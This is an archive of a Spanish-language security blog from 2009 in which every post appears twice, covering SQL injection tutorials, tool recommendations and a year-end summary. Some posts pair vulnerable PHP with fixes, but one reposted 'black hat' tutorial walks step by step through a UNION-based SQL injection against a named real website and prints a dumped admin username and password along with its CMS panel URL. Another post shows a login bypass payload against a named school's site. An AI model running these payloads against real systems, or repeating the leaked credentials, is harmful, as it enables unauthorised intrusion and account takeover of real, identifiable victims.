Backup Oficial de SeguridadBlanca.Org
jueves, 31 de diciembre de 2009
Un Resumen del 2009
---------------------
Aprendimos a Spoofear User-Agent
Aprendimos sobre el Bluesnarfing
Aprendimos como funcionaba el Remote Code Execution
Aprendamos del Full Path Disclosure
Aprendimos a Configurar un archivo htaccess
Perverthso de CuscoSoft nos enseñó Sql Injection Básica
Jbyte de Jbyte-Security nos lo complementó con Injection a Sql Server
NitroNet Nos enseñó el Remote File Inclusion
Explicando el Path Trasversal
Comenté un poco del Reverse DNS
Ahora el Mass Defacemente
Robando Cookies con un Xss
El Hijacking
Expliqué el Cross Site Tracing
Aprendimos Login Bypass en el ISIL
Encontramos Xss en Tecsup
Nuestra Fanática
Vimos como se hacía Local Files Inclusion por Require()
LFI por uploader
Obtener Archivos del Servidor con Sql Injection
La Explicación de un Login Bypass
Remote Code Execution con Eval
Local File Disclosure
Argument Injection
Mi Exposición del LimaHack
Explique el Session Prediction
Session Fixation
Explique el XSRF
Insecure Permisions
Orientación del PHP al PenTest - CURL()
Insecure Cookie Handling
Nullbyte Poisoning
Sql Injection en ASP Ejempo Real
Descubrí un FPD en FaceBook
Expliqué el Cookie Poisoning
XSRF de Zer-Bits
Arbitrary Download + Full Source Disclosure de Zero-Bits
Espero Este Resumen les haya gustado ahora con mucho gusto y agradecimiento les digo...
Feliz Año Nuevo Que todo Sea bueno para Ustedes en todos los ámbitos, Espero no olviden seguridadblanca en el año que viene y esperamos el próximo año sea mejor para todos....
Happy Hacking =)
Saludos
Dr.White
viernes, 18 de diciembre de 2009
Sql Injection en ASP
sin mucho mas que decir... aquí está el video...
Lo que dice el Bloc de notas del video lo pueden ver dando click aquí
tambien le he agregado unas cosas cheveres al video para entenderlo un poco mas...
Espero les guste el video...
Saludos
Dr.White
Sql Injection en ASP
sin mucho mas que decir... aquí está el video...
Lo que dice el Bloc de notas del video lo pueden ver dando click aquí
tambien le he agregado unas cosas cheveres al video para entenderlo un poco mas...
Espero les guste el video...
Saludos
Dr.White
sábado, 31 de octubre de 2009
Sql Injection Login Bypass - La Explicación
Nuestro Code Vulnerable seria algo como este:
<?php
$user = $_POST['username'];
$pass = md5($_POST['password']);
$result = mysql_query("SELECT * FROM " . $tabla . "login WHERE username = '$user' AND password = '$pass'")
or die("<p><i>" . mysql_error() . "</i></p>\n");
?>
Ahora el codigo esta chequeando mal el user y la pass, no está bien puesto el codigo... entonces si nosotros pusieramos en el login:
username : admin ' or ' 1=1
password : mipassnoesesta
lo que hriamos nosotros sería transformar la petición en básicamente esto:
$result = mysql_query("SELECT * FROM " . $tabla . "login WHERE username = 'admin' ' or ' 1=1 AND password = 'mipassnoesesta'")
Ahora nostros solo tendriamos que poner un usuario que exista y entrariamos como tal... genial no?
para aquellos que solo sabian que si ponian la inyeccion entraban ya saben por que es y bueno para evitar esto pues podriamos usar los mismo que en el anterior tutorial de como obtener archivos del servidor con sql injection
esas tecnicas pueden usar para evitar esto...
Espero les haya gustado y asi pueden evitar que les pase esto a las empresas que los contrate...
Saludos
Dr.White
Sql Injection Login Bypass - La Explicación
Nuestro Code Vulnerable seria algo como este:
<?php
$user = $_POST['username'];
$pass = md5($_POST['password']);
$result = mysql_query("SELECT * FROM " . $tabla . "login WHERE username = '$user' AND password = '$pass'")
or die("<p><i>" . mysql_error() . "</i></p>\n");
?>
Ahora el codigo esta chequeando mal el user y la pass, no está bien puesto el codigo... entonces si nosotros pusieramos en el login:
username : admin ' or ' 1=1
password : mipassnoesesta
lo que hriamos nosotros sería transformar la petición en básicamente esto:
$result = mysql_query("SELECT * FROM " . $tabla . "login WHERE username = 'admin' ' or ' 1=1 AND password = 'mipassnoesesta'")
Ahora nostros solo tendriamos que poner un usuario que exista y entrariamos como tal... genial no?
para aquellos que solo sabian que si ponian la inyeccion entraban ya saben por que es y bueno para evitar esto pues podriamos usar los mismo que en el anterior tutorial de como obtener archivos del servidor con sql injection
esas tecnicas pueden usar para evitar esto...
Espero les haya gustado y asi pueden evitar que les pase esto a las empresas que los contrate...
Saludos
Dr.White
martes, 27 de octubre de 2009
Obtener Archivos del Server con Sql Injection
Vamos a mostrar primero como sería el code vulnerable y por que lo es...
Code:
<?php
$id = $_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
Ahora la mayoría mirará directo al codigo en sql y básicamente el error no está ahí,
el error está en el GET que hacemos... mm pues no está filtrado nada, ahora, ustedes dirán si no hay panel como explotamos?
Bueno comenzaremos a hacer la inyección a la variable ID en la web webvulnerable.com:
http://www.webvulnerable.pe/profile.php?id=1
Ahora vamos a inyectarla una inyeccion simple...
http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,3,4,5--
Nos manda un error diferente en el 4 entonces haremos una inyección como para no complicarnos...
http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,null,load_file('etc/passwd'),5--
En la inyección no hay mucho que decir lo diferente a lo normal que hemos usado es la funcion load_file() la cual nos ayuda a obtener el archivo etc/passwd/ ya ustedes ven si necesitan otro directorio o ustedes dirán que necesitan...
ahora ya sabemos como podemos atacar esto ahora como podemos hacer para que este ataque no nos afecte?...
simplemente hay que hacer algo pequeño:
<?php
$id = addslashes($_GET['id']);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
hemos añadido addslashes() a nuestro codigo lo cual hará que no podamos poner caracteres inválidos, es mejor que usen otras funciones hechas por ustedes mismos o un str_replace() para un mejor funcionamiento de sus scripts...
Espero les sirva este tutorial y como vieron nisiquiera subimos shell...
Si el Magic_quotes esta off entonces podremos hacer uno que otro movimiento mas a nuestro favor...
EDIT - Filtro recomendado por Ozx - undersecurity.net:
<?php
$id = (int)$_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
====
Otra Opción con Str Replace... by me...
<?php
$id = $_GET['id'];
$user = str_replace("select","lamo",$id);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
ustedes modifiquen el str_replace segun su necesidad, yo no se lo que ustedes deseen...
Saludos
Dr.White
Obtener Archivos del Server con Sql Injection
Vamos a mostrar primero como sería el code vulnerable y por que lo es...
Code:
<?php
$id = $_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
Ahora la mayoría mirará directo al codigo en sql y básicamente el error no está ahí,
el error está en el GET que hacemos... mm pues no está filtrado nada, ahora, ustedes dirán si no hay panel como explotamos?
Bueno comenzaremos a hacer la inyección a la variable ID en la web webvulnerable.com:
http://www.webvulnerable.pe/profile.php?id=1
Ahora vamos a inyectarla una inyeccion simple...
http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,3,4,5--
Nos manda un error diferente en el 4 entonces haremos una inyección como para no complicarnos...
http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,null,load_file('etc/passwd'),5--
En la inyección no hay mucho que decir lo diferente a lo normal que hemos usado es la funcion load_file() la cual nos ayuda a obtener el archivo etc/passwd/ ya ustedes ven si necesitan otro directorio o ustedes dirán que necesitan...
ahora ya sabemos como podemos atacar esto ahora como podemos hacer para que este ataque no nos afecte?...
simplemente hay que hacer algo pequeño:
<?php
$id = addslashes($_GET['id']);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
hemos añadido addslashes() a nuestro codigo lo cual hará que no podamos poner caracteres inválidos, es mejor que usen otras funciones hechas por ustedes mismos o un str_replace() para un mejor funcionamiento de sus scripts...
Espero les sirva este tutorial y como vieron nisiquiera subimos shell...
Si el Magic_quotes esta off entonces podremos hacer uno que otro movimiento mas a nuestro favor...
EDIT - Filtro recomendado por Ozx - undersecurity.net:
<?php
$id = (int)$_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
====
Otra Opción con Str Replace... by me...
<?php
$id = $_GET['id'];
$user = str_replace("select","lamo",$id);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
ustedes modifiquen el str_replace segun su necesidad, yo no se lo que ustedes deseen...
Saludos
Dr.White
viernes, 9 de octubre de 2009
Log-in bypass - Sql Injection - ISIL
El Ejemplo lo he hecho desde la web del isil espero les guste, el bug no lo encontré yo pero es muy viejo y lo he intentado reportar pero como veo que no hay respuestas...
Aqui les dejo el Video...
Los textos si no se ven bien son:
'or''='
Disfrutenlo...
EDIT:
Bug encontrado por Dr.Neox (Colega mio)
Saludos
Dr.White
Log-in bypass - Sql Injection - ISIL
El Ejemplo lo he hecho desde la web del isil espero les guste, el bug no lo encontré yo pero es muy viejo y lo he intentado reportar pero como veo que no hay respuestas...
Aqui les dejo el Video...
Los textos si no se ven bien son:
'or''='
Disfrutenlo...
EDIT:
Bug encontrado por Dr.Neox (Colega mio)
Saludos
Dr.White
lunes, 31 de agosto de 2009
Url Dumper V1.8
Sus Caracteristicas:
# DataBase
# Url
# XSS
# SQL
es una tool muy buena se las recomiendo a todos... yo la he probado hoy y está muy buena..
Una Imagen
Descarga: MMF
Saludos
Dr.White
Url Dumper V1.8
Sus Caracteristicas:
# DataBase
# Url
# XSS
# SQL
es una tool muy buena se las recomiendo a todos... yo la he probado hoy y está muy buena..
Una Imagen
Descarga: MMF
Saludos
Dr.White
sábado, 29 de agosto de 2009
Sql Injection en Yahoo
A greyhat hacker has discovered a critical SQL injection vulnerability in Yahoo! Local Neighbors discussion board website. The flaw can be used to read information about administrative and user accounts or upload a shell on the server.
Neighbors is a Yahoo! Local feature launched at the end of 2007 with the purpose of providing a place for people to exchange information about events happening in their local communities and other useful info. Yahoo! describes the site as a "practical discussion board for any topic - from neighborhood safety to contractor recommendations."
The hacker who discovered the vulnerability goes by the online nickname of "Unu" and had previously uncovered similar vulnerabilities in other high profile websites. He notes that despite finding SQL injection and cross-site scripting (XSS) vulnerabilities in Yahoo! websites before, this is the first time when he encountered a MySQL 5 server being used by the company.
The screenshots provided by the hacker reveal the databases available on the server, as well as the users with access to them. While connections with the "root" account can only be established from local IP addresses owned by Yahoo!, Unu points out that an account called "reply_mon" can be used to access the databases from any host.
Fuente: hacking-avanzado
Saludos
Dr.White
Sql Injection en Yahoo
A greyhat hacker has discovered a critical SQL injection vulnerability in Yahoo! Local Neighbors discussion board website. The flaw can be used to read information about administrative and user accounts or upload a shell on the server.
Neighbors is a Yahoo! Local feature launched at the end of 2007 with the purpose of providing a place for people to exchange information about events happening in their local communities and other useful info. Yahoo! describes the site as a "practical discussion board for any topic - from neighborhood safety to contractor recommendations."
The hacker who discovered the vulnerability goes by the online nickname of "Unu" and had previously uncovered similar vulnerabilities in other high profile websites. He notes that despite finding SQL injection and cross-site scripting (XSS) vulnerabilities in Yahoo! websites before, this is the first time when he encountered a MySQL 5 server being used by the company.
The screenshots provided by the hacker reveal the databases available on the server, as well as the users with access to them. While connections with the "root" account can only be established from local IP addresses owned by Yahoo!, Unu points out that an account called "reply_mon" can be used to access the databases from any host.
Fuente: hacking-avanzado
Saludos
Dr.White
viernes, 31 de julio de 2009
Tool: Scanner by Stalker
Tool: Scanner by Stalker
lunes, 13 de julio de 2009
Tutorial Sql inyeccion - Por un Black Hat
##########################################################################################
## TUTORIAL INJECTION SQL By Gothic-X ##
## ##
## Greetz: Version 1.1 ##
## || Zer0-z0oRg || Zues || Kaos || Dont.Cool || Murder || Knet || Fr34k || ##
## ##
## www.undermx.blogspot.com ##
## ##
## ##
## ##
##########################################################################################
WEB: http://directinformatica.es/
METODO DE ATAQUE: SQL INJECTION
Bueno empesaremos con buscar la parte de la web donde es vulnerable en este caso sera en
http://directinformatica.es/detalle.php?id= verificamos si es vulnerable haciendo una
consulta con solo ponerle ( ' ) una coma.
efectivamente este sitio es vulnerable a sql, como savemos? por que nos arrojo un mensaje de
error el cual es el siguiente.
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/gedraqxj/public_html/detalle.php on line 35
el cual nos indica que es vulnerable. bueno agora buscaremos cuantas columnas tiene el sitio agregando
lo siguiente al fina de la url de la web ( detalle.php?id=-1+union+select+0,1,2,3,4,..., en este caso tiene
9 columnas osea quedaria de la siguienteforma.
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,8--
entrando veremos que nos arrojo unos numeritos en la web en este caso fueron : 8 , 4 , 2 .
ya estando aqui veremos si la web tiene information schema de manera que quede de esta forma:
agregando al final +from+information_schema.tables-- y reemplazando cualquiera de los numeros
nos arrojo la web por table_name quedando la url de la aiguiente manera;
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema--
perfecto nos arrojo un texto CHARACTER_SETS el cual es una tabla y con eso confirmamos que tiene
information schema, ahora buscaremos la tabla de usuario, usuarios o admin agregando al final
+limit+1,1-- y quedaria de esta forma:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+1,1--
ahora para que encontremos la tabla deseada avansaremos en el primer uno del limit de la siguiente manera. +limit+2,1--
hasta ncontrar la tabla deseada. en esta web se tubo que avansar 20 para la tabla deseada y quedo de la siguiente manera
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+20,1--
y nos dio como resultado: adm_usuario
ahora como ver lo que esta dentro de la tabla, osea ver las columnas, bueno primero convertiremos la tabla a hexadecimal
usualmente uso esta herramienta http://hwagm.elhacker.net/php/sneak.php, bueno nos dio como resultado: 61646d5f7573756172696f
bueno al final de la url de la injection aditaremos el final reemplazando .tables+limit+20+1-- por columns+where(table_name=0xaquitabalaenhex)-- y
donde tenemos table_name lo reemplazamos por column_name y nos quedaria de la siguiente manera.
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,column_name+from+information_schema.columns+where(table_name=0x61646d5f7573756172696f)--
y vemos que nos arroja las columnas y para ir encontrando las columnas deseadas avansamos con +limit+1,1-- cambiando el 1 por 2 y asi susesivamente
hasta encontrar las columnas deseadas.
en esta web encontramos las siguientes columnas:
id_user, id_tipo, nomb_user , nick_user , pass_user , acti_user
bien ya con esas tenemos las esenciales que son nomb_user y pass_user.
ahora como vemos dentro de las columnas? bueno solo reemplazamos el fina despues de +from+ y agregamos el nombre de la tabla que es
adm_usuario y donde tenemos column_name reemplazamos por concat(columna,0x3a,columna) el 0x3a esta en hexadecimal y es ( : ), entonces
nos quedaria de la siguiente manera nuestra url:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,concat(nick_user,0x3a,pass_user)+from+adm_usuario--
y nos arrojara nuestra informacion deseada que es la siguiente: admin:matias1
ahora solo nos falta encontrar el admin panel, en la siguiente web es http://directinformatica.es/cms/
y nos logeamos y hacemos lo que tengamos que hacer.
THE END.
Tutorial Sql inyeccion - Por un Black Hat
##########################################################################################
## TUTORIAL INJECTION SQL By Gothic-X ##
## ##
## Greetz: Version 1.1 ##
## || Zer0-z0oRg || Zues || Kaos || Dont.Cool || Murder || Knet || Fr34k || ##
## ##
## www.undermx.blogspot.com ##
## ##
## ##
## ##
##########################################################################################
WEB: http://directinformatica.es/
METODO DE ATAQUE: SQL INJECTION
Bueno empesaremos con buscar la parte de la web donde es vulnerable en este caso sera en
http://directinformatica.es/detalle.php?id= verificamos si es vulnerable haciendo una
consulta con solo ponerle ( ' ) una coma.
efectivamente este sitio es vulnerable a sql, como savemos? por que nos arrojo un mensaje de
error el cual es el siguiente.
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/gedraqxj/public_html/detalle.php on line 35
el cual nos indica que es vulnerable. bueno agora buscaremos cuantas columnas tiene el sitio agregando
lo siguiente al fina de la url de la web ( detalle.php?id=-1+union+select+0,1,2,3,4,..., en este caso tiene
9 columnas osea quedaria de la siguienteforma.
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,8--
entrando veremos que nos arrojo unos numeritos en la web en este caso fueron : 8 , 4 , 2 .
ya estando aqui veremos si la web tiene information schema de manera que quede de esta forma:
agregando al final +from+information_schema.tables-- y reemplazando cualquiera de los numeros
nos arrojo la web por table_name quedando la url de la aiguiente manera;
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema--
perfecto nos arrojo un texto CHARACTER_SETS el cual es una tabla y con eso confirmamos que tiene
information schema, ahora buscaremos la tabla de usuario, usuarios o admin agregando al final
+limit+1,1-- y quedaria de esta forma:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+1,1--
ahora para que encontremos la tabla deseada avansaremos en el primer uno del limit de la siguiente manera. +limit+2,1--
hasta ncontrar la tabla deseada. en esta web se tubo que avansar 20 para la tabla deseada y quedo de la siguiente manera
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+20,1--
y nos dio como resultado: adm_usuario
ahora como ver lo que esta dentro de la tabla, osea ver las columnas, bueno primero convertiremos la tabla a hexadecimal
usualmente uso esta herramienta http://hwagm.elhacker.net/php/sneak.php, bueno nos dio como resultado: 61646d5f7573756172696f
bueno al final de la url de la injection aditaremos el final reemplazando .tables+limit+20+1-- por columns+where(table_name=0xaquitabalaenhex)-- y
donde tenemos table_name lo reemplazamos por column_name y nos quedaria de la siguiente manera.
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,column_name+from+information_schema.columns+where(table_name=0x61646d5f7573756172696f)--
y vemos que nos arroja las columnas y para ir encontrando las columnas deseadas avansamos con +limit+1,1-- cambiando el 1 por 2 y asi susesivamente
hasta encontrar las columnas deseadas.
en esta web encontramos las siguientes columnas:
id_user, id_tipo, nomb_user , nick_user , pass_user , acti_user
bien ya con esas tenemos las esenciales que son nomb_user y pass_user.
ahora como vemos dentro de las columnas? bueno solo reemplazamos el fina despues de +from+ y agregamos el nombre de la tabla que es
adm_usuario y donde tenemos column_name reemplazamos por concat(columna,0x3a,columna) el 0x3a esta en hexadecimal y es ( : ), entonces
nos quedaria de la siguiente manera nuestra url:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,concat(nick_user,0x3a,pass_user)+from+adm_usuario--
y nos arrojara nuestra informacion deseada que es la siguiente: admin:matias1
ahora solo nos falta encontrar el admin panel, en la siguiente web es http://directinformatica.es/cms/
y nos logeamos y hacemos lo que tengamos que hacer.
THE END.
sábado, 4 de julio de 2009
Pen-test tool: Sql ninja
- NetPacket
- Net-Pcap
- Net-DNS
- Net-RawIP
- IO-Socket-SSL
Pen-test tool: Sql ninja
- NetPacket
- Net-Pcap
- Net-DNS
- Net-RawIP
- IO-Socket-SSL
miércoles, 1 de julio de 2009
Pen-Test: Pangolin - Sql Inyeccion Tool
Estos dias estuve leyendo mucho y me encontré con esta tool que leí que era buena, decidí descargarme una versión gratis que hay en la web la cual encuentra minimas vulnerabilidades de Sql Inyeccion pero de varias versiones del Sql, instalé algunas cosillas en mi localhost en una maquina de tests que tengo y decidí probar a ver que onda, lo testie y creanme cuando les digo que el Pangolin es excelente, encontro una sql inyección que no la hice a proposito, era blind pero sql al fin y al cabo, sin duda pagaría para la licencia pero lamentablemento no cuento con los recursos para comprarme una por ahora pero les digo que es una tool excelente y su interfaz lo hace muy fácil de usar, sin ningun problema y hasta un mono la podría usar, lo malo es que la gratis es un poco limitada, el pangolin es famoso por tener una interfaz fácil de usar y les digo que es sierto.